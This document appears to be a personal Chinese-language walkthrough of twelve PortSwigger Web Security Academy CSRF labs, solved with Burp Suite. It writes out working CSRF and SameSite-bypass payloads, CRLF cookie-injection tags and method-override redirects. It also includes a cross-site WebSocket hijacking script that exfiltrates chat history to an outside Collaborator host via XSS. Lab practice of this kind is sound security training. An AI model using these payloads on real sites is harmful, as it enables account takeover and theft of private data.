第一关 没有防御措施的CSRF
目的：修改邮件地址
打开网页，输入提供的账户密码->打开bp，执行一个修改邮件的操作->proxy的http history 找到修改邮件的post请求，发送到repeater->request界面右键选择engagement tools 的 generate csrf PoC ->弹窗界面，先修改下邮件，再选择test in browser ->浏览器输入url，测试该html是否能成功修改邮件->成功的话，复制bp弹窗界面的html，用提示的form部分替换bp生成的form部分(不替换不能通关),->打开网页的expliot server，body填入html，提交

第二关 令牌认证取决于请求方法 csrf
打开网页登录，并执行一个修改邮件操作->bp查看，发送到repeater->可以看到request 里有csrf令牌->右键change request method，修改下邮件，send->刷新网页，发现邮件已经被修改了->说明get请求不验证csrf令牌(get 请求的url删掉csrf=…，再发送一次修改邮件请求测试，成功修改)->右键engagement tools generate tools->接下来和第一题操作一样

第三关 令牌验证取决于令牌是否存在 csrf
删掉令牌
如上，发送到repeater->修改csrf的参数，send->发现请求失败->将csrf全部删掉，send，成功修改邮件->其余一样

第四关 令牌未绑定到会话 csrf
(替换其他账号令牌就可以通过)
题目给了两个账号,先登录wiener->打开bp，拦截wiener的修改email请求，发送到repeater->log out wiener账号，登录carlos，同样拦截carlos的修改email请求，发送到repeater->repeater有两个请求，将calos的csrf替换成wiener的csrf，再执行engagement tools等操作(就在carlos账号下执行)

第五关 令牌与非会话cookie的绑定 csrf
登录wiener，提交一个修改email，bp发送repeater->修改cookie中的session，send->response 中Location: /login(会log out，处于登录界面)->如果修改cookie中的csrfkey，send->“Invalid CSRF token”
这说明csrfkey没有绑定到session
首先登录wiener，执行修改emai操作->打开bp的浏览器，登录carlos，执行修改email->在http history ，将两次post请求发送repeater->wiener的Cookie: csrfKey=和csrf=替换成carlos的->send,成功，->home回到首页，搜索aaaa->将该请求发送到repeater,send->response中Set-Cookie: LastSearchTerm=aaaa;，你输入的搜索词会反映在set-cookie中(搜索没有csrf保护，所以用这个功能将cookie注入到受害者浏览器))->构造一个携带Set-Cookie:%20csrfKey=xxx%20SameSite=None 的get请求，send->200，请求成功(页面显示0 search results for ‘test
Set-Cookie: csrfKey=your-key; SameSite=None’->在wiener账号右键engagement tools->生成的html中添加< img sr c=“https://id.web-security-academy.net/?sea rch=test%0d%0aSet-Cookie:%20csrfKey=your-key%3b%20SameSite=None” οnerrοr=“document.forms[0].submit()”> ->填充在expliot server的body

第六关 令牌在cookie中重复 csrf
cookie中的csrf和参数后面的csrf是一模一样的

仅仅修改其中一个csrf都显示无效token，修改成一模一样是ok的
登录wiener账号,修改email->发送到repeater->分别修改一个csrf，send->无效token->一模一样的修改是成功的->首页搜索，查看搜索词是否反映到set-cookie中->是的，构造一个包含set-cookie的请求(/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None)->200,说明可以通过搜索功能注入cookie->在post请求中，engagement tools -> generate csrf poc ->将input的value的值，改成和< img src=“https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None” οnerrοr=“document.forms[0].submit();”/>中csrf一样的值->expliot server 中body->send

第七关 通过方法覆盖绕过 SameSite Lax 策略
reqeust中没有不可预测的令牌，如果能绕过samesite，就存在csrf漏洞
改变请求方法，添加参数_method=post进行方法覆盖，
登录wiener,修改email->发现request中没有出现csrf令牌，如果能绕过samesite 限制，就存在csrf漏洞->request中没有出现samesite，浏览器默认级别是 lax ->右键改变method->直接发送get请求，发现是not allowed-> 通过添加&_method=POST覆盖方法,send->请求成功->在expliot server 中，< script>
document.location = “https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=your_email&_method=POST”;
< /script> ->通过

第八关 通过客户端重定向绕过same site strict
本题提交email修改的request中没有不可预测的令牌，
如何知道samesite是啥等级？
点进任意帖子并发表评论->发现过几秒就自动跳转回帖子详情页了->查看bp的http history，会发现一个commentConfirmationredirect.js请求，->f12 ,network
刷新一下，查看该js请求的代码->是一个3秒延迟重定向，->拼接blogPath + ‘/’ + postId; ->从历史记录选择一个帖子url，https://0a58007c04b887738049032c005200e0.web-security-academy.net/post/comment/confirmation?postId=hhhh->结果是这样的，https://0aaa00450316ba09809512ce00d50004.web-security-academy.net/post/hhhh->尝试注入一个动态路径，/post/comment/confirmation?postId=1/…/…/my-account ->就会跳转到my account->证明了可以利用该参数来触发对目标网站上任意端点的请求->点进exploit server 输入
< script>
document.location = “https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=…/my-account”;
< /script>
->store，view the explot->会跳转到my account->确认浏览器的第二次请求包含了已确认的cookie，即使初始评论提交请求是从任意外部站点发起的->发起一个修改email请求->发送到repeater->右键修改method->发送，成功->修改body里的值，post/comment/confirmation?postId=1/…/…/my-account/change-email?email=123@jjjj.com%26submit=1"; ->发送

第九关 通过同级域绕过samesite strict
前置内容，websockets(双向，全双工通信，wss和ws，通过http握手升级协议，请求头会有【upgrade：websocket】，一般实时聊天可能存在)
第一步：研究实时聊天功能
打开bp,在live chat发送一条消息->bp的http history找到websocket握手请求(请求头会有upgrade：websocket)，本题是get /chat->查看请求头，没有看到令牌，所以可以绕过任何samesite cookie的限制，容易受到CSWSH(跨站websocket劫持)->浏览器刷新界面->bp的websocket history中找到长度为5的请求，其内容是ready，往下是历史聊天内容
第二步确认CSWSH漏洞
打开bp中的COLLABORATOR，并复制->创建一个websocket的js代码
< sc ript>
var ws = new WebSocket(‘wss://YOUR-LAB-ID.web-security-academy.net/chat’);
ws.onopen = function() {
ws.send(“READY”);
};
ws.onmessage = function(event) {
fetch(‘https://YOUR-COLLABORATOR-PAYLOAD.oastify.com’, {method: ‘POST’, mode: ‘no-cors’, body: event.data});
};
</ scr ipt>，替换labid和COLLABORATOR->进入exploit，替换hello world！->store,view the exploit->返回bp的COLLABORATOR，点击poll now，就能看到一些dns和http请求，说明已与目标站点打开新的实时聊天连接，确认了CSWSH漏洞->proxy的http history，找到最近的一个websocket请求/chat ->发现请求头没有cookie，samesite=strict防止跨站点携带cookie
第三步 识别同一站点其他漏洞
http history，找js或图像等请求，查看其响应，找Acess-Control-Allow-Origin:https://cms-…web-security-academy.net->z复制这个http连接，在网页打开，进行登录，账号密码随机输入->观察响应中出现了invalid username，还有输入错误的用户名信息->将用户名< script> alert（1）</ script>,密码随机，提交->有弹窗出现，这是一个反射性XSS->清除http history，刷新一下刚才的登陆界面，输入< script> alert（1）</ script>提交，看到http history出现login请求->发送到reapter，修改请求方法，send->查看render，依旧可以看到登录界面->右键copy url，在浏览器中访问，确认仍然可以触发XSS,由于此同级域是同一站点的一部分，因此可以使用XSS发起CSWSHGG攻击，且不会受到samesite限制
第四步 绕过samesite限制
复制漏洞服务器刚才输入的js代码到bp的decoder,->进行url编码->复制编码到reapter，替换username的内容，send->右键copy url->
< script>
document.location = “https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything”;
</ script> 替换url->先deliver websocket的js，再替换->COLLABORATOR中点击poll now->可以看到新的dns和http，其中http里面是历史聊天记录->http history
找到最近一条/chat,这是由脚本触发的->确认此请求包含cookie，由于是同级域发起的，所以浏览器将其视为同一站点i请求
第五步 deliver
回到exploit，点击deliver->在COLLABORATOR中点击poll now，查看新的http请求->request中找到包含用户名密码，进行登录即可

第十关 通关刷新cookie绕过samesite Lax
漏洞点：更改邮件功能易受到CSRF攻击
本题由Oauth认证流程
先打开bp，完整登录一次
浏览器中，点击my-account，会跳转social-login，在login的response中会找到，是一个控制刷新页面的标签，3秒后跳转到Oauth认证页面

认证流程：1.下一个请求

response，
2. 302重定向到/interaction/rpOcAl6U-vjP6hNIe7GOJ.是个登录页

3.输入用户名密码

4.服务器返回set-cookie

5.下一个请求带上session

6.下一个请求 302到location

7.下一个请求 302重定向

8. 200，ok


my-account -> social-login->输入用户名密码->服务器返回set-cookie->next request带上session->302 location->200（url中的code就是认证后的授权码）

在浏览器执行修改邮件操作，http history找到那条请求，发送到reapter，右键CSRF PoC generate
< script>
history.pushState(‘’, ‘’, ‘/’)
window.open(‘https://YOUR-LAB-ID.web-security-academy.net/social-login’);
setTimeout(changeEmail, 5000);

function changeEmail(){
    document.forms[0].submit();
}

</ script>
< form action=“https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email” method=“POST”>
< input type=“hidden” name=“email” value=“fooyyy@bar.com” />
< input type=“submit” value=“Submit request” />
</ form>
< script>
document.forms[0].submit();
</ script>,提交到exploit，即可通关

第十一关 Referer验证取决于请求头中是否存在 csrf
漏洞点：修改电子邮件
浏览器先登录wiener：peter，执行一个修改邮件操作，bp找到change-emial，发送到reapter，可以看到请求头中有Referer，尝试修改看能否提交成功，不能，全部删掉就可以，右键csrf poc generate，在html中加入一句< meta name=“referrer” content=“no-referrer”>，提交到exploit，即可通关
第十二关 referer验证失效的csrf
漏洞点：修改电子邮件
浏览器先登录wiener：peter，执行一个修改邮件操作，bp找到change-emial，发送到reapter，可以看到请求头中有Referer，尝试修改看能否提交成功，不能，全删也不行，只留下域名是可以的，右键csrf poc generate，在html中加入一句< meta name=“referrer” content=“unsafe-url”>（现在很多浏览器出于安全考虑默认从referer标头中删除查询字符串，要覆盖此行为并确保请求中包含完成的url，需要从csrf poc中加入请求头，referer-policy：unsafe-url），history.pushState(‘’, ‘’, ‘/0a21001e0411c7e880c2766b00790036.web-security-academy.net（域名host，这里添加域名会将地址栏url替换成正确的域名）’)，提交到exploit，即可通关